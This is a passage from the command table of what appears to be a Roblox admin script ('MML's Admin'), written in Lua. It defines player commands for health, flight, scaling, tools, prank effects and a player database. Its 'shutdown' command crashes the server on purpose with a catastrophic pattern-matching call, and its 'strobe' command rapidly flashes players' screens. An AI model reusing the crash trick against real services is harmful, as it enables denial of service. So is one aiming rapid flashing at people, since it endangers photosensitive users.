6309 Server.Lighting.FogEnd = 500
6310 wait(0.1)
6311 until ModLighting == false
6312 end};
6313
6314 [{"fixl", "fixlighting", "nodisco", "undisco", "noflash", "unflash"}] = {"", "Removes disco or flash effects", 0, "Member", false, function(Speaker, Rank, Arguments)
6315 CORE:FixLighting()
6316 end};
6317
6318 [{"strobe"}] = {"player", "Makes player's screen flash like a strobe", 1, "Member", false, function(Speaker, Rank, Arguments)
6319 local Players = STRING:Scan(Arguments[1], Speaker)
6320 for _,Player in pairs(Players) do
6321 if Player:FindFirstChild("PlayerGui") then
6322 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6323 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6324 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100
6325 coroutine.wrap(function() repeat Frame.BackgroundColor3 = Color3.new(0,0,0) wait(0.1) Frame.BackgroundColor3 = Color3.new(1,1,1) wait(0.1) until not SG end)()
6326 end
6327 end
6328 end};
6329
6330 [{"nostrobe", "unstrobe", "noblind", "unblind"}] = {"player", "Clears the strobe effect from player's screen", 1, "Member", false, function(Speaker, Rank, Arguments)
6331 local Players = STRING:Scan(Arguments[1], Speaker)
6332 for _,Player in pairs(Players) do
6333 if Player:FindFirstChild("PlayerGui") then
6334 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6335 end
6336 end
6337 end};
6338
6339 [{"blind"}] = {"player", "Makes player unable to see", 1, "Member", false, function(Speaker, Rank, Arguments)
6340 local Players = STRING:Scan(Arguments[1], Speaker)
6341 for _,Player in pairs(Players) do
6342 if Player:FindFirstChild("PlayerGui") then
6343 local SG = Player.PlayerGui:FindFirstChild("MMLA Screen Cover") if SG then SG:Destroy() end
6344 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MMLA Screen Cover"
6345 local Frame = Instance.new("Frame", SG) Frame.Name = "Overlay" Frame.Size = UDim2.new(1,0,1,0) Frame.ZIndex = 100 Frame.BackgroundColor3 = Color3.new(0,0,0)
6346 end
6347 end
6348 end};
6349
6350 [{"rejoin", "rj", "rej", "rjoin"}] = {"", "Makes yourself rejoin the server", 0, "Non-Admin", false, function(Speaker, Rank, Arguments)
6351 local Suc, Err, PlaceID, IntID = Server.TS:GetPlayerPlaceInstanceAsync(Speaker.UserId)
6352 if Suc then
6353 Server.TS:TeleportToPlaceInstance(PlaceID, IntID, Speaker)
6354 else
6355 Server.TS:Teleport(game.PlaceId, Speaker)
6356 end
6357 end};
6358
6359 [{"abuselist", "abusablecommands", "abusecmds", "ac"}] = {"", "Shows a list of abusable commands", 0, "Admin", false, function(Speaker, Rank, Arguments)
6360 GUI:ListGui(Speaker, "Abusable Commands", Settings.AbuseList, 2015506)
6361 end};
6362
6363 [{"addabuse", "makeabuse", "abusecmd", "abusecommand", "addabusable", "makeabusable", "abusablecmd", "abusablecommand"}] = {"string(command)", "Adds string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6364 local NewAbuse = Arguments[1]
6365 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6366 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6367 end
6368
6369 local Match = false
6370 for _,AbuseCmd in pairs(Settings.AbuseList) do
6371 if string.lower(AbuseCmd) == string.lower(NewAbuse) then
6372 Match = true
6373 break
6374 end
6375 end
6376 if not Match then
6377 table.insert(Settings.AbuseList, NewAbuse)
6378 GUI:MessageAdmins("New abusable command", Speaker.Name.." has made '"..NewAbuse.."' an abuseable command", "Check")
6379 else
6380 GUI:SendMessage(Speaker, "Command Exists", "RED This command matches another in the abuse list, therefore, will not be added", "Error")
6381 end
6382 CORE:SetAbuseCommands()
6383 end};
6384
6385 [{"removeabuse", "removeabuse", "removeabusecmd", "removeabusecommand", "removeabusable", "removeabusable", "removeabusablecmd", "removeabusablecommand", "noabuse", "unabuse", "noabusable", "unabusable"}] = {"string(command)", "Removes string(command) to the abuse list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6386 local NewAbuse = Arguments[1]
6387 if string.sub(string.lower(NewAbuse), 1, #Settings.Prefix) == string.lower(Settings.Prefix) then -- remove prefix if present
6388 NewAbuse = string.sub(NewAbuse, #Settings.Prefix + 1)
6389 end
6390
6391 local Removed = false
6392 for Num,AbuseCmd in pairs(Settings.AbuseList) do
6393 if string.sub(string.lower(AbuseCmd), 1, #NewAbuse) == string.lower(NewAbuse) then
6394 Removed = true
6395 table.remove(Settings.AbuseList, Num)
6396 end
6397 end
6398 if Removed then
6399 GUI:MessageAdmins("Removed abusable command", Speaker.Name.." has removed '"..NewAbuse.."' from the abuse list", "Check")
6400 else
6401 GUI:SendMessage(Speaker, "Command not removed", "RED Could not find '"..NewAbuse.."' in abuse list", "Error")
6402 end
6403 CORE:SetAbuseCommands()
6404 end};
6405
6406 [{"god", "power"}] = {"player", "Gives player unlimited health", 1, "Member", false, function(Speaker, Rank, Arguments)
6407 local Players = STRING:Scan(Arguments[1], Speaker)
6408 for _,Player in pairs(Players) do
6409 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6410 Player.Character.Humanoid.MaxHealth = math.huge
6411 Player.Character.Humanoid.Health = math.huge
6412 end
6413 end
6414 end};
6415
6416 [{"heal", "nogod", "ungod", "nopower", "unpower"}] = {"player", "Resets health to full, undoes god effect(Doesn't mean there isn't God)", 1, "Member", false, function(Speaker, Rank, Arguments)
6417 local Players = STRING:Scan(Arguments[1], Speaker)
6418 for _,Player in pairs(Players) do
6419 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6420 if Player.Character.Humanoid.MaxHealth == math.huge then
6421 Player.Character.Humanoid.MaxHealth = 100
6422 Player.Character.Humanoid.Health = 100
6423 else
6424 Player.Character.Humanoid.Health = Player.Character.Humanoid.MaxHealth
6425 end
6426 end
6427 end
6428 end};
6429
6430 [{"loopheal"}] = {"player", "Loops player's health to full", 1, "Member", false, function(Speaker, Rank, Arguments)
6431 local Players = STRING:Scan(Arguments[1], Speaker)
6432 for _,Player in pairs(Players) do
6433 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6434 local Char = Player.Character
6435 repeat Char.Humanoid.Health = Char.Humanoid.MaxHealth wait() until not Char:FindFirstChild("Humanoid") or Char.Parent == nil or Char.Humanoid.Health == 0
6436 end
6437 end
6438 end};
6439
6440 [{"health"}] = {"player num", "Sets the health of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6441 if tonumber(Arguments[2]) then
6442 local Players = STRING:Scan(Arguments[1], Speaker)
6443 for _,Player in pairs(Players) do
6444 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6445 Player.Character.Humanoid.Health = Arguments[2]
6446 end
6447 end
6448 end
6449 end};
6450
6451 [{"speed", "ws", "walkspeed"}] = {"player num", "Sets the speed of player to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6452 if tonumber(Arguments[2]) then
6453 local Players = STRING:Scan(Arguments[1], Speaker)
6454 for _,Player in pairs(Players) do
6455 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6456 Player.Character.Humanoid.WalkSpeed = Arguments[2]
6457 end
6458 end
6459 end
6460 end};
6461
6462 [{"damage", "dmg"}] = {"player num", "Takes away num health from player", 2, "Member", false, function(Speaker, Rank, Arguments)
6463 if tonumber(Arguments[2]) then
6464 local Players = STRING:Scan(Arguments[1], Speaker)
6465 for _,Player in pairs(Players) do
6466 if Player.Character and Player.Character:FindFirstChild("Humanoid") then
6467 Player.Character.Humanoid.Health = Player.Character.Humanoid.Health - Arguments[2]
6468 end
6469 end
6470 end
6471 end};
6472
6473 [{"fly"}] = {"player", "Lets player be able to fly", 1, "Member", false, function(Speaker, Rank, Arguments)
6474 local Players = STRING:Scan(Arguments[1], Speaker)
6475 for _,Player in pairs(Players) do
6476 CORE:Fly(Player, 10000)
6477 end
6478 end};
6479
6480 [{"noclip", "noc"}] = {"player", "Lets player be able to noclip", 1, "Member", false, function(Speaker, Rank, Arguments)
6481 local Players = STRING:Scan(Arguments[1], Speaker)
6482 for _,Player in pairs(Players) do
6483 CORE:Fly(Player, 1000000)
6484 end
6485 end};
6486
6487 [{"nofly", "unfly", "clip", "nonoclip", "unnoclip"}] = {"player", "Removes fly or noclip effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6488 local Players = STRING:Scan(Arguments[1], Speaker)
6489 for _,Player in pairs(Players) do
6490 if Player.Character then
6491 if Player.Character:FindFirstChild("StopMMLFly") then
6492 Player.Character.StopMMLFly:InvokeClient(Player)
6493 end
6494 end
6495 end
6496 end};
6497
6498 [{"clearcache", "clearc", "cc"}] = {"", "Clears cached objects such as market info and http local scripts", 0, "Owner", false, function(Speaker, Rank, Arguments)
6499 ScriptCache,MarketCache,CharacterCache,PackageCache = {},{},{},Packages
6500 GUI:SendMessage(Speaker, "Cache Cleared", "Cache has been cleared successfully", "Check")
6501 end};
6502
6503 [{"give"}] = {"player string", "Gives player any tool found named string. Can also give build tools (basicbtools, btools, psbtools)", 2, "Member", false, function(Speaker, Rank, Arguments)
6504 local Players = STRING:Scan(Arguments[1], Speaker)
6505 for _,Player in pairs(Players) do
6506 CORE:GiveTools(Player, Arguments[2])
6507 end
6508 end};
6509
6510 [{"tools", "gettools", "toollist", "toolslist"}] = {"", "Gets all tools that you can use the "..Settings.Prefix.."give command", 0, "Member", false, function(Speaker, Rank, Arguments)
6511 local List = {}
6512 for _,Region in pairs(ToolRegions) do
6513 CORE:ScanItems(Region, {"HopperBin", "Tool"}, function(Item)
6514 table.insert(List, Item.Name.." | Found at: "..Item:GetFullName())
6515 end)
6516 end
6517
6518 GUI:ListGui(Speaker, "Tool list", List, 73589272)
6519 end};
6520
6521 [{"btools", "buildtools", "buildingtools"}] = {"player string", "Gives player building tools", 1, "Member", false, function(Speaker, Rank, Arguments)
6522 local Players = STRING:Scan(Arguments[1], Speaker)
6523 for _,Player in pairs(Players) do
6524 CORE:GiveTools(Player, "btools")
6525 end
6526 end};
6527
6528 [{"shutdown", "sd"}] = {"", "Shuts down the server", 0, "Owner", false, function(Speaker, Rank, Arguments)
6529 REMOTE:SendHttpLog(Speaker.Name.." shutdown the server", "INFORMATION")
6530 for _,Player in pairs(Server.Players:GetPlayers()) do
6531 Player:Kick()
6532 end
6533 Server.Workspace:ClearAllChildren()
6534 string.find(string.rep("a", 2^20),string.rep(".?", 2^20))
6535 end};
6536
6537 [{"scale", "size"}] = {"player num", "Scales player's character to num", 2, "Member", false, function(Speaker, Rank, Arguments)
6538 local Players = STRING:Scan(Arguments[1], Speaker)
6539 for _,Player in pairs(Players) do
6540 CORE:Scale(Player, Arguments[2])
6541 end
6542 end};
6543
6544 [{"mini", "small", "tiny", "small"}] = {"player", "Makes player's character mini", 1, "Member", false, function(Speaker, Rank, Arguments)
6545 local Players = STRING:Scan(Arguments[1], Speaker)
6546 for _,Player in pairs(Players) do
6547 CORE:Scale(Player, 50)
6548 end
6549 end};
6550
6551 [{"hobbit"}] = {"player", "Makes player's character hobbit sized", 1, "Member", false, function(Speaker, Rank, Arguments)
6552 local Players = STRING:Scan(Arguments[1], Speaker)
6553 for _,Player in pairs(Players) do
6554 CORE:Scale(Player, 70)
6555 end
6556 end, Hidden = true};
6557
6558 [{"mega", "huge", "giant", "large", "big"}] = {"player", "Makes player's character mega", 1, "Member", false, function(Speaker, Rank, Arguments)
6559 local Players = STRING:Scan(Arguments[1], Speaker)
6560 for _,Player in pairs(Players) do
6561 CORE:Scale(Player, 500)
6562 end
6563 end};
6564
6565 [{"gold", "goldify"}] = {"player", "Makes player's character gold", 1, "Member", false, function(Speaker, Rank, Arguments)
6566 local Players = STRING:Scan(Arguments[1], Speaker)
6567 for _,Player in pairs(Players) do
6568 if Player.Character then
6569 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6570 Obj.Reflectance = 0.5
6571 Obj.BrickColor = BrickColor.new("New Yeller")
6572 end)
6573 end
6574 end
6575 end};
6576
6577 [{"shine", "shiny", "shinify", "shineify"}] = {"player", "Makes player's character shiny", 1, "Member", false, function(Speaker, Rank, Arguments)
6578 local Players = STRING:Scan(Arguments[1], Speaker)
6579 for _,Player in pairs(Players) do
6580 if Player.Character then
6581 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6582 Obj.Reflectance = 0.5
6583 end)
6584 end
6585 end
6586 end};
6587
6588 [{"ghost", "ghostify", "spook", "spooky"}] = {"player", "Makes player's character a ghost", 1, "Member", false, function(Speaker, Rank, Arguments)
6589 local Players = STRING:Scan(Arguments[1], Speaker)
6590 for _,Player in pairs(Players) do
6591 if Player.Character then
6592 CORE:ScanItems(Player.Character, {"BasePart"}, function(Obj)
6593 Obj.Transparency = 0.5
6594 Obj.Reflectance = 0
6595 Obj.BrickColor = BrickColor.new("Institutional white")
6596 end)
6597 CORE:ScanItems(Player.Character, {"Texture", "Decale"}, function(Obj)
6598 Obj.Transparency = 0.5
6599 end)
6600 end
6601 end
6602 end};
6603
6604 [{"nolimbs", "nolimb"}] = {"player", "Removes player's limbs", 1, "Member", false, function(Speaker, Rank, Arguments)
6605 local Players = STRING:Scan(Arguments[1], Speaker)
6606 for _,Player in pairs(Players) do
6607 if Player.Character then
6608 for _,Obj in pairs(Player.Character:GetChildren()) do
6609 local Valid = false
6610 for _,Name in pairs({"Right Arm", "Left Arm", "Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6611 if Valid == true then Obj:Destroy() end
6612 end
6613 end
6614 end
6615 end};
6616
6617 [{"noarms", "noarm"}] = {"player", "Removes player's arms", 1, "Member", false, function(Speaker, Rank, Arguments)
6618 local Players = STRING:Scan(Arguments[1], Speaker)
6619 for _,Player in pairs(Players) do
6620 if Player.Character then
6621 for _,Obj in pairs(Player.Character:GetChildren()) do
6622 local Valid = false
6623 for _,Name in pairs({"Right Arm", "Left Arm"}) do if Obj.Name == Name then Valid = true end end
6624 if Valid == true then Obj:Destroy() end
6625 end
6626 end
6627 end
6628 end};
6629
6630 [{"nolegs", "noleg"}] = {"player", "Removes player's legs", 1, "Member", false, function(Speaker, Rank, Arguments)
6631 local Players = STRING:Scan(Arguments[1], Speaker)
6632 for _,Player in pairs(Players) do
6633 if Player.Character then
6634 for _,Obj in pairs(Player.Character:GetChildren()) do
6635 local Valid = false
6636 for _,Name in pairs({"Right Leg", "Left Leg"}) do if Obj.Name == Name then Valid = true end end
6637 if Valid == true then Obj:Destroy() end
6638 end
6639 end
6640 end
6641 end};
6642
6643 [{"nohats", "nohat"}] = {"player", "Removes player's hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6644 local Players = STRING:Scan(Arguments[1], Speaker)
6645 for _,Player in pairs(Players) do
6646 if Player.Character then
6647 for _,Obj in pairs(Player.Character:GetChildren()) do
6648 if Obj:IsA("Hat") then
6649 Obj:Destroy()
6650 end
6651 end
6652 end
6653 end
6654 end};
6655
6656 [{"naked", "noclothes"}] = {"player", "Removes player's clothes and hats", 1, "Member", false, function(Speaker, Rank, Arguments)
6657 local Players = STRING:Scan(Arguments[1], Speaker)
6658 for _,Player in pairs(Players) do
6659 Player:ClearCharacterAppearance()
6660 end
6661 end};
6662
6663 [{"playerdatabase", "playerbase", "playerdatab", "playerdb", "plrdatabase", "plrdatab", "plrdb", "pdatabase", "pdatab", "pdb"}] = {"", "Database of all the players in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6664 local Players = Server.Data:GetDataStore("MML's Admin"):GetAsync("Players")
6665 local TmpPlayers = {}
6666 local Output = {}
6667 for _,Data in pairs(Players) do
6668 table.insert(Output, {"Name: "..Data.Name.." | UserID: "..Data.UserId.." | Rank: "..Data.Rank.." | Last Joined: "..(Data.LastJoin or "Unknown").." | Account Age: "..(Data.AccountAge or "Unknown"), "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Data.Name})
6669 end
6670 GUI:ListGui(Speaker, "Player Database", Output, 120563622)
6671 end};
6672
6673 [{"clearplayerdatabase", "clearpdb", "cpdb"}] = {"", "Clears the player databse", 0, "Owner", false, function(Speaker, Rank, Arguments)
6674 Server.Data:GetDataStore("MML's Admin"):SetAsync("Players", {})
6675 GUI:SendHint(Speaker, "Player Database cleared", 5)
6676 end};
6677
6678 [{"hack", "hax"}] = {"player", "Fake hacks player", 1, "Member", true, function(Speaker, Rank, Arguments)
6679 local Players = STRING:Scan(Arguments[1], Speaker)
6680 for _,Player in pairs(Players) do
6681 GUI:FakeHack(Player)
6682 end
6683 end};
6684
6685 [{"clonetools", "clonet"}] = {"player", "Clones player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6686 local Players = STRING:Scan(Arguments[1], Speaker)
6687 for _,Player in pairs(Players) do
6688 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6689 for _,Object in pairs(Player.Backpack:GetChildren()) do
6690 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6691 local Clone = Object:Clone()
6692 Clone.Parent = Speaker.Backpack
6693 end
6694 end
6695 end
6696 end
6697 end};
6698
6699 [{"taketools", "taket", "tt"}] = {"player", "Clone player's tools and gives the to the speaker", 1, "Member", false, function(Speaker, Rank, Arguments)
6700 local Players = STRING:Scan(Arguments[1], Speaker)
6701 for _,Player in pairs(Players) do
6702 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6703 for _,Object in pairs(Player.Backpack:GetChildren()) do
6704 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6705 Object.Parent = Speaker.Backpack
6706 end
6707 end
6708 end
6709 end
6710 end};
6711
6712 [{"givetools", "givet", "gt"}] = {"player", "Clone the speaker's tools and gives the to player", 1, "Member", false, function(Speaker, Rank, Arguments)
6713 local Players = STRING:Scan(Arguments[1], Speaker)
6714 for _,Player in pairs(Players) do
6715 if Player:FindFirstChild("Backpack") and Speaker:FindFirstChild("Backpack") then
6716 for _,Object in pairs(Speaker.Backpack:GetChildren()) do
6717 if Object:IsA("Tool") or Object:IsA("HopperBin") then
6718 local Clone = Object:Clone()
6719 Clone.Parent = Player.Backpack
6720 end
6721 end
6722 end
6723 end
6724 end};
6725
6726 [{"notools", "notool", "cleartools", "cleantools", "ctools", "untools"}] = {"player", "Clears player's backpack", 1, "Member", false, function(Speaker, Rank, Arguments)
6727 local Players = STRING:Scan(Arguments[1], Speaker)
6728 for _,Player in pairs(Players) do
6729 if Player:FindFirstChild("Backpack") then
6730 Player.Backpack:ClearAllChildren()
6731 end
6732 if Player.Character ~= nil then
6733 for _,Obj in pairs(Player.Character:GetChildren()) do
6734 if Obj:IsA("Tool") or Obj:IsA("HopperBin") then
6735 Obj:Destroy()
6736 end
6737 end
6738 end
6739 end
6740 end};
6741
6742 [{"vomit", "puke", "throwup", "barf"}] = {"player", "Makes player vomit", 1, "Member", true, function(Speaker, Rank, Arguments)
6743 local Players = STRING:Scan(Arguments[1], Speaker)
6744 for _,Player in pairs(Players) do
6745 if Player.Character then
6746 if Player.Character:FindFirstChild("Head") then
6747 if Player.Character.Torso:FindFirstChild("Neck") and Player.Character.Head:FindFirstChild("face") then
6748 coroutine.wrap(function()
6749 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
6750 local OldFace = Player.Character.Head.face.Texture
6751 Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(math.rad(20),0,0)
6752 Player.Character.Head.BrickColor = BrickColor.new("Br. yellowish green")
6753 Player.Character.Head.face.Texture = "rbxassetid://24067663"
6754 local Sound = SOUND:MakeSound(Player.Character.Head, 142539016, 1, 0.9)
6755 Sound:Play()
6756 coroutine.wrap(function() for i = 1,100 do wait()
6757 local Part = Instance.new("Part", Player.Character) Part.BrickColor = BrickColor.new("Br. yellowish green") Part.FormFactor = "Custom" Part.Elasticity = 0.1 Part.Size = Vector3.new(0.2,0.2,0.2) Part.Position = Player.Character.Head.Position + Vector3.new(math.random(-10,10)/10, math.random(-10,10)/10, math.random(-10,10)/10)
6758 coroutine.wrap(function() wait(3) Part:Destroy() end)()
6759 end
6760 Sound:Destroy() Player.Character.Head.face.Texture = OldFace Player.Character.Torso.Neck.C0 = Player.Character.Torso.Neck.C0 * CFrame.Angles(-math.rad(20),0,0) pcall(function() Player.Character.Head.BrickColor = Player.Character["Body Colors"].HeadColor end) end)()
6761 end end
6762 end)()
6763 end
6764 end
6765 end
6766 end
6767 end};
6768
6769 [{"fart", "stink"}] = {"player", "Makes player fart", 1, "Member", true, function(Speaker, Rank, Arguments)
6770 local Players = STRING:Scan(Arguments[1], Speaker)
6771 for _,Player in pairs(Players) do
6772 if Player.Character then
6773 if Player.Character:FindFirstChild("Torso") and Player.Character.Head:FindFirstChild("face") then
6774 coroutine.wrap(function()
6775 if Player.Character.Head.face.Texture ~= "rbxassetid://24067663" then if Player.Character.Head.face.Texture ~= "rbxassetid://28118994" then
6776 local OldFace = Player.Character.Head.face.Texture
6777 local Fart = Instance.new("Part", Player.Character.Torso) Fart.Name = "Fart" Fart.Size = Vector3.new(1,1,1) Fart.Position = Vector3.new(0,100,0) Fart.Transparency = 1
6778 local Weld = Instance.new("Weld", Fart) Weld.Part0 = Fart Weld.Part1 = Player.Character.Torso Weld.C0 = CFrame.new(0,-1,-1) * CFrame.Angles(math.rad(-90),0,0)
6779 local Smoke = Instance.new("Smoke", Fart) Smoke.Name = "Fart Effect" Smoke.Color = Color3.new(70/255, 100/255, 30/255)
6780 Player.Character.Head.face.Texture = "rbxassetid://28118994"
6781 local Sound = SOUND:MakeSound(Fart, 130833677, 1, 0.8)
6782 Sound:Play()
6783 wait(1)
6784 Smoke.Enabled = false
6785 wait(1)
6786 Fart:Destroy()
6787 Fart:Destroy()
6788 Player.Character.Head.face.Texture = OldFace
6789 end end
6790 end)()
6791 end
6792 end
6793 end
6794 end};
6795
6796 [{"graffiti", "graf", "gra", "draw"}] = {"player", "Gives player a tool to do graffiti", 1, "Member", true, function(Speaker, Rank, Arguments)
6797 local Players = STRING:Scan(Arguments[1], Speaker)
6798 for _,Player in pairs(Players) do
6799 if Player:FindFirstChild("Backpack") then
6800 CORE:ExecuteResource("Graffiti", Player.Backpack, {["Color"] = GUI:GetColor()})
6801 end
6802 end
6803 end};
6804
6805 [{"cleargraffiti", "cleargraf", "cleargra", "cleardraw", "cleangraffiti", "cleangraf", "cleangra", "cleandraw", "cgraffiti", "cgraf", "cgra", "cdraw"}] = {"", "Clears any graffiti", 0, "Admin", false, function(Speaker, Rank, Arguments)
6806 local Players = STRING:Scan(Arguments[1], Speaker)
6807 for _,Player in pairs(Players) do
6808 if Player.Character and Player.Character:FindFirstChild("MMLGraffiti") then
6809 Player.Character.MMLGraffiti:ClearAllChildren()
6810 end
6811 end
6812 end};
6813
6814 [{"light", "spotlight"}] = {"player", "Makes player and a small radius around whom to light up", 1, "Member", false, function(Speaker, Rank, Arguments)
6815 local Players = STRING:Scan(Arguments[1], Speaker)
6816 for _,Player in pairs(Players) do
6817 if Player.Character and Player.Character:FindFirstChild("Torso") then
6818 local Light = Player.Character.Torso:FindFirstChild("MML Light") if Light then Light:Destroy() end
6819 Light = Instance.new("PointLight", Player.Character.Torso) Light.Name = "MML Light" Light.Range = 20 Light.Brightness = 2
6820 end
6821 end
6822 end};
6823
6824 [{"lamp", "pointlight", "headlight", "headlamp"}] = {"player", "Makes player and a small radius in from of whom to light up as if there was a head light", 1, "Member", false, function(Speaker, Rank, Arguments)
6825 local Players = STRING:Scan(Arguments[1], Speaker)
6826 for _,Player in pairs(Players) do
6827 if Player.Character and Player.Character:FindFirstChild("Torso") then
6828 local Light = Player.Character.Torso:FindFirstChild("MML Lamp") if Light then Light:Destroy() end
6829 Light = Instance.new("SpotLight", Player.Character.Torso) Light.Name = "MML Lamp" Light.Range = 30 Light.Brightness = 5
6830 end
6831 end
6832 end};
6833
6834 [{"nolight", "nolamp", "unlight", "unlamp"}] = {"player", "Removes player's light and/or lamp", 1, "Member", false, function(Speaker, Rank, Arguments)
6835 local Players = STRING:Scan(Arguments[1], Speaker)
6836 for _,Player in pairs(Players) do
6837 if Player.Character and Player.Character:FindFirstChild("Torso") then
6838 local Lights = {}
6839 for _,Obj in pairs(Player.Character.Torso:GetChildren()) do
6840 if Obj.Name == "MML Lamp" or Obj.Name == "M".."ML Light" then
6841 table.insert(Lights, Obj)
6842 end
6843 end
6844 for _,Light in pairs(Lights) do
6845 coroutine.wrap(function()
6846 for i = 1,20 do
6847 Light.Brightness = Light.Brightness/5
6848 wait()
6849 end
6850 Light:Destroy()
6851 end)()
6852 end
6853 end
6854 end
6855 end};
6856
6857 [{"drug", "lsd"}] = {"player", "Gives player the effect of being on lsd", 1, "Member", false, function(Speaker, Rank, Arguments)
6858 local Players = STRING:Scan(Arguments[1], Speaker)
6859 for _,Player in pairs(Players) do
6860 if Player.Character and Player:FindFirstChild("PlayerGui") then
6861 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
6862 SG = Instance.new("ScreenGui", Player.PlayerGui) SG.Name = "MML Drug"
6863 local Frame = Instance.new("Frame", SG) Frame.Size = UDim2.new(1,0,1,0) Frame.BackgroundTransparency = 0.5
6864 local Stop = false
6865 coroutine.wrap(function()
6866 repeat
6867 Frame.BackgroundColor3 = Color3.new(math.random(0,255)/255,math.random(0,255)/255,math.random(0,255)/255)
6868 wait(0.1)
6869 until not SG or not SG.Parent
6870 end)()
6871 CORE:ExecuteResource("Drug", Player.Character)
6872 end
6873 end
6874 end};
6875
6876 [{"nodrug", "nolsd", "undrug", "unlsd"}] = {"player", "Removes drug effect", 1, "Member", false, function(Speaker, Rank, Arguments)
6877 local Players = STRING:Scan(Arguments[1], Speaker)
6878 for _,Player in pairs(Players) do
6879 if Player:FindFirstChild("PlayerGui") then
6880 local SG = Player.PlayerGui:FindFirstChild("MML Drug") if SG then SG:Destroy() end
6881 wait() CORE:RestoreCamera(Player)
6882 end
6883 end
6884 end};
6885
6886 [{"searchg", "searchgear"}] = {"string", "Searches the catalog for the gear string", 1, "Member", false, function(Speaker, Rank, Arguments)
6887 local AbuseMode = false
6888 if Rank == "Member" then AbuseMode = Settings.DisableAbuse end
6889 MARKET:ShowSearch(Speaker, 5, Arguments[1], function(ID)
6890 if Speaker:FindFirstChild("Backpack") then
6891 CORE:Insert(ID, Speaker.Backpack, true, {"Tool", "HopperBin"}, AbuseMode)
6892 end
6893 end)
6894 end, Http = true};
6895
6896 [{"searchh", "searchhat"}] = {"string", "Searches the catalog for the hat string)", 1, "Member", false, function(Speaker, Rank, Arguments)
6897 MARKET:ShowSearch(Speaker, 3, Arguments[1], function(ID)
6898 if Speaker.Character then
6899 CORE:Insert(ID, Speaker.Character, true, {"Hat"})
6900 end
6901 end, 9)
6902 end, Http = true};
6903
6904 [{"searchp", "searchpack", "searchpackage"}] = {"string", "Searches the catalog for the package string", 1, "Member", false, function(Speaker, Rank, Arguments)
6905 MARKET:ShowSearch(Speaker, 4, Arguments[1], function(ID)
6906 if Speaker.Character then
6907 CORE:GivePackage(Speaker, ID)
6908 end
6909 end, 11)
6910 end, Http = true};
6911
6912 [{"nopackage", "nopack", "unpackage", "unpack"}] = {"player", "Removes all packages from player", 1, "Member", false, function(Speaker, Rank, Arguments)
6913 local Players = STRING:Scan(Arguments[1], Speaker)
6914 for _,Player in pairs(Players) do
6915 CORE:GivePackage(Player)
6916 end
6917 end};
6918
6919 [{"package", "pack", "morph"}] = {"player num(ID)", "Gives player the package with num(ID), a few packages don't need http service because they're in the cache, but most do", 2, "Member", false, function(Speaker, Rank, Arguments)
6920 local Players = STRING:Scan(Arguments[1], Speaker)
6921 for _,Player in pairs(Players) do
6922 CORE:GivePackage(Player, Arguments[2])
6923 end
6924 end, Http = true};
6925
6926 [{"change", "changestat", "changeleaderstat", "changestats", "changeleaderstats"}] = {"player string(key) value(string/num)", "Changes player's leaderstats for key(Coins, money, ext) to value", 3, "Member", false, function(Speaker, Rank, Arguments)
6927 local Players = STRING:Scan(Arguments[1], Speaker)
6928 for _,Player in pairs(Players) do
6929 local Stats = Player:FindFirstChild("leaderstats")
6930 if Stats ~= nil then
6931 for _,Stat in pairs(Stats:GetChildren()) do
6932 if string.sub(string.lower(Stat.Name),1,#Arguments[2]) == string.lower(Arguments[2]) then
6933 ypcall(function() Stat.Value = Arguments[3] end)
6934 end
6935 end
6936 end
6937 end
6938 end};
6939
6940 [{"shirt"}] = {"player num(ID)", "Changes player's shirt to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
6941 local ID = tonumber(Arguments[2])
6942 local Players = STRING:Scan(Arguments[1], Speaker)
6943 for _,Player in pairs(Players) do
6944 for _,Player in pairs(Players) do
6945 if Player.Character ~= nil then
6946 local Obj = Player.Character:FindFirstChild("Shirt")
6947 if Obj then
6948 Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
6949 else
6950 Obj = Instance.new("Shirt", Player.Character) Obj.Name = "Shirt" Obj.ShirtTemplate = "rbxassetid://"..MARKET:GetImageFormat(ID)
6951 end
6952 coroutine.wrap(function() Obj.Parent = nil wait(0.1) Obj.Parent = Player.Character end)()
6953 end
6954 end
6955 end
6956 end};
6957
6958 [{"pants"}] = {"player num(ID)", "Changes player's pants to num(ID)", 2, "Member", false, function(Speaker, Rank, Arguments)
6959 local ID = tonumber(Arguments[2])
6960 local Players = STRING:Scan(Arguments[1], Speaker)
6961 for _,Player in pairs(Players) do
6962 for _,Player in pairs(Players) do
